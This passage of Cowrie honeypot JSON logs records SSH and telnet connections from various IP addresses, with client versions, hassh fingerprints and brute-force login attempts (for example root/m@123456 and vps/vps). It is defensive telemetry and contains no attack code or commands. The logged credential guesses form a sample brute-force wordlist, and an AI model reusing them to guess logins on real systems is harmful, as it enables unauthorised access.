penssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:22.156450Z","src_ip":"101.32.145.199","session":"8aa6f2974c52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:23.156410Z","src_ip":"101.32.145.199","session":"8aa6f2974c52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:24.403839Z","src_ip":"101.32.145.199","session":"8aa6f2974c52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.32.145.199","src_port":57928,"dst_ip":"10.17.0.5","dst_port":22,"session":"09b30c7f1aec","protocol":"ssh","message":"New connection: 101.32.145.199:57928 (10.17.0.5:22) [session: 09b30c7f1aec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:24.630553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:24.637492Z","src_ip":"101.32.145.199","session":"09b30c7f1aec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:24.882311Z","src_ip":"101.32.145.199","session":"09b30c7f1aec","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:25.869083Z","src_ip":"101.32.145.199","session":"09b30c7f1aec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:26.110401Z","src_ip":"101.32.145.199","session":"09b30c7f1aec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:26.116766Z","src_ip":"101.32.145.199","session":"da0e8ed1d223","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.182.83.231","src_port":53130,"dst_ip":"10.17.0.5","dst_port":22,"session":"47e89724bf2d","protocol":"ssh","message":"New connection: 5.182.83.231:53130 (10.17.0.5:22) [session: 47e89724bf2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:28.020903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:28.024671Z","src_ip":"5.182.83.231","session":"47e89724bf2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:28.140627Z","src_ip":"5.182.83.231","session":"47e89724bf2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"passwd","message":"login attempt [ec2-user/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:28.641913Z","src_ip":"5.182.83.231","session":"47e89724bf2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:29.762090Z","src_ip":"5.182.83.231","session":"47e89724bf2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.239.202","src_port":47904,"dst_ip":"159.203.135.109","dst_port":22,"session":"73bfeb82523d","protocol":"ssh","message":"New connection: 162.241.239.202:47904 (159.203.135.109:22) [session: 73bfeb82523d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:35.662924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:35.665805Z","src_ip":"162.241.239.202","session":"73bfeb82523d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:35.690956Z","src_ip":"162.241.239.202","session":"73bfeb82523d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"skale","password":"skale123","message":"login attempt [skale/skale123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:35.767264Z","src_ip":"162.241.239.202","session":"73bfeb82523d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.66431021690369,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:35.893327Z","src_ip":"107.6.151.170","session":"9a7561fd9185","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:36.794100Z","src_ip":"162.241.239.202","session":"73bfeb82523d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":37304,"dst_ip":"10.17.0.5","dst_port":22,"session":"86fb115dd511","protocol":"ssh","message":"New connection: 91.92.40.4:37304 (10.17.0.5:22) [session: 86fb115dd511]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:38.199037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:38.389055Z","src_ip":"91.92.40.4","session":"86fb115dd511","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:38.392957Z","src_ip":"91.92.40.4","session":"86fb115dd511","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vps","password":"vps","message":"login attempt [vps/vps] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:38.900742Z","src_ip":"91.92.40.4","session":"86fb115dd511","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"97.74.6.204","src_port":39056,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ed0f6ed07fa","protocol":"ssh","message":"New connection: 97.74.6.204:39056 (159.203.135.109:22) [session: 3ed0f6ed07fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:39.826906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:39.831019Z","src_ip":"97.74.6.204","session":"3ed0f6ed07fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:39.896348Z","src_ip":"97.74.6.204","session":"3ed0f6ed07fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vechain","password":"vechain123","message":"login attempt [vechain/vechain123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:40.091941Z","src_ip":"97.74.6.204","session":"3ed0f6ed07fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:40.133817Z","src_ip":"91.92.40.4","session":"86fb115dd511","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:41.161101Z","src_ip":"97.74.6.204","session":"3ed0f6ed07fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":67.65723443031311,"message":"Connection lost after 67 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:43.056514Z","src_ip":"170.64.224.25","session":"388bb77c26b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"222.108.100.117","src_port":38754,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e5af2515178","protocol":"ssh","message":"New connection: 222.108.100.117:38754 (10.17.0.5:22) [session: 8e5af2515178]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:45.673163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:45.680090Z","src_ip":"222.108.100.117","session":"8e5af2515178","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:45.880746Z","src_ip":"222.108.100.117","session":"8e5af2515178","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"m@123456","message":"login attempt [root/m@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:46.718885Z","src_ip":"222.108.100.117","session":"8e5af2515178","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:47.921893Z","src_ip":"222.108.100.117","session":"8e5af2515178","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.86.192.66","src_port":46542,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae276988730c","protocol":"ssh","message":"New connection: 195.86.192.66:46542 (10.17.0.5:22) [session: ae276988730c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:50.775436Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:50.779517Z","src_ip":"195.86.192.66","session":"ae276988730c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:51.000613Z","src_ip":"195.86.192.66","session":"ae276988730c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kranenr1@","message":"login attempt [root/kranenr1@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:51.923267Z","src_ip":"195.86.192.66","session":"ae276988730c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:53.147783Z","src_ip":"195.86.192.66","session":"ae276988730c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00134897232056,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:53.719611Z","src_ip":"170.64.224.25","session":"7ffceeb986a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.01214957237244,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:13:13.065676Z","src_ip":"170.64.224.25","session":"95fd004c0e6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":65096,"dst_ip":"10.17.0.5","dst_port":22,"session":"8383337ad7da","protocol":"ssh","message":"New connection: 194.59.206.2:65096 (10.17.0.5:22) [session: 8383337ad7da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:13:20.892685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:13:20.903403Z","src_ip":"194.59.206.2","session":"8383337ad7da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:13:20.992857Z","src_ip":"194.59.206.2","session":"8383337ad7da","protocol":"ssh"}
